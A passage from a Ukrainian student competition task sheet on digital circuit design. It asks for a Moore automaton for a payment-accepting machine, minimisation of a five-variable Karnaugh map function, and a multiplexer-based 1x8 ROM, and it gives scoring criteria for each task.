алгоритму (ГСА) функціонування моделі цифрового автомата (ЦА) Мура для прийому одного комунального платежу (наприклад, за електроенергію) паперовими купюрами. <br /> <br /> <b> Треба отримати та надати:</b><br /> <ol> <li value=1><br /> Таблицю кодів станів ЦА на основі Т тригерів, вказати кількість Т тригерів, необхідних для реалізації ЦА;<br /> <li> Максимально мінімізовані функції збудження Т тригерів і вихідних сигналів Уi.<br /> </ol> <br /> <img src="images/371375-nomer-3c08b002.gif"><br /> <br /> <b>Критерії оцінювання:</b><br /> <br /> 1. Наявність таблиці переходів-виходів автомата Мура.<br /> <br /> 2. Вірність отриманих аналітичних виразів для функцій збудження Т тригерів, оптимізація кількості їх перемикань при зміні станів ЦА;<br /> <br /> 3. Глибина та оригінальність підходів при мінімізації функцій збудження Т тригерів і вихідних слів Уі.<br /><br /><br /><b>5.3</b> (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)<br /><br /><br /><b>Надано</b>: карта Карно для функції з 5 змінних:<br /> <br /><img src="images/371375-nomer-m75746843.png"><br /> <br /><b>Треба отримати та надати:</b><br /> <br />1. Аналітичний вираз (рівняння) для реалізації функції із використанням найменшої кількості логічних схем (дозволено використання елементів з 1, 2, …, 8 логічними входами будь-якого базису: Пірса, Шефера, Жегалкіна, Буля). <br /> <ol start=2> <li> Схему з мінімальною кількістю необхідних логічних елементів в симуляторі Electronics Workbench (без перевірки їх функціонування).<br /> </ol> <br /> <b>Критерії оцінювання:</b><br /> <br />1. Глибина та оригінальність підходів при мінімізації;<br /> <br />2. Найменша кількість елементів, використаних для побудови функції.<br /><br /><br /><b>5.4</b> (Максимальна оцінка – 15 балів за повне і обґрунтоване рішення задачі)<br /><br /><br />Створити схему постійного запам`ятовуючого пристрою (ПЗП) розміром 1 х 8 на основі запропонованих типів схем. <br /> <br /><b>Надано</b>: <br /> <br />1. Будь-яка кількість мультиплексорів 2 в 1 і схеми базису Буля;<br /> <ol start=2> <li> Симулятор побудови схем - Electronics Workbench (EWB, free demoversion);<br /> </ol> <br /><b>Треба отримати та надати: </b> <br /> <ol> <ol> <li> Таблицю істинності (ТІ) функціонування ПЗП;<br /> <li>Обґрунтування можливості (або неможливості) його створення. <br /> </ol> </ol> <br /><b>Критерії оцінювання:</b><br /> <br />1. Відповідність ТІ та оригінальність підходів що до її отримання;<br /> <br />2. Найменша кількість елементів, використаних для побудови ПЗП. <br /> <div> <br /><br /><i>Конкурсні завдання (перший тур) стор.</i><br /> </div> </u></hlxb>